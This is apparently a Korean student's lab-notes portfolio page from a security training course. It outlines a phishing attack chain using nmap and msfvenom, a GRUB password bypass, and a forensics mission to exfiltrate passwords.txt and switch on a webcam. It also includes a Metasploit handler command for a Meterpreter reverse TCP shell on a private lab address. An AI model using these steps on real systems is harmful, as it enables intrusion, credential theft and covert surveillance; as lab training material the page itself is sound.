박종완 - Linux & Web Portfolio

👤 기본 접속 정보

서버 IP : 192.168.0.17

사용자 : 박종완

⚔️ 공격 순서

🔴 해커 공격 단계

1. 정보수집 (nmap)

2. 악성코드 만들기 (msfvenom)

3. 메일 보내기

4. 메일 받기

🛡 방어 순서

🔵 방어팀 점검 (설정없이 점검만 진행)

1. 네트워크 연결 확인

2. 시스템 확인

3. UTM 설정 확인

4. 내부 네트워크 확인

5. 공격 모니터링

🔑 비밀번호 복구 (GNU GRUB)

💡 비밀번호를 잊어버렸을 때 부트로더 진입 방법

GNU GRUB 진입

1. 부팅 시 Shift 또는 Esc 키 연타

2. 커널 라인에서 ro를 찾아 rw init=/bin/bash로 변경

3. Ctrl + X 로 부팅

4. 비밀번호 변경 후 reboot -f 재부팅

# GRUB 수정 예시 ro → rw init=/bin/bash

🦊 Kali Firefox 샌드박스 문제 해결

💡 Kali에서 Firefox가 안될 때 (가상환경 충돌)

1. Firefox 주소창에 about:config 입력

2. Accept the Risk and Continue 클릭

3. 검색창에 security.sandbox.content.level 검색

4. 값을 0 또는 1로 변경 (기본값: 4)

5. Firefox 재시작

✅ 문제 해결 완료

🎯 오후 미션 (포렌식)

미션 목표

1. 관리자PC에 연결된 하드디스크는 몇 개?

2. BitLocker 드라이브의 볼륨 이름은?

3. BitLocker 암호는 어디 있는가?

4. passwords.txt를 찾아 유출하라!

💡 캠을 작동시켜 내부를 촬영하라!

💀 Meterpreter (대기모드)

# msfconsole 실행 msfconsole # 핸들러 설정 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.0.219 set LPORT 4444 exploit

필수 조건

• IP와 PORT 필요

• Server.py / Client.py 준비

📌 Day 23 요약 / 결론

📌 공격 순서 : 정보수집 → 악성코드(msfvenom) → 메일 전송 → 침투

📌 방어 순서 : 네트워크/시스템/UTM/내부망 확인 및 모니터링

📌 GNU GRUB 진입 및 비밀번호 복구 방법 학습

📌 Kali Firefox 샌드박스 문제 해결 (about:config)

📌 Meterpreter를 활용한 원격 제어 실습

📌 BitLocker 포렌식 미션 수행 (하드디스크/볼륨/암호/passwords.txt)

🎯 결론 : "악성코드 제작 및 침투 테스트 + 포렌식 실습 완료"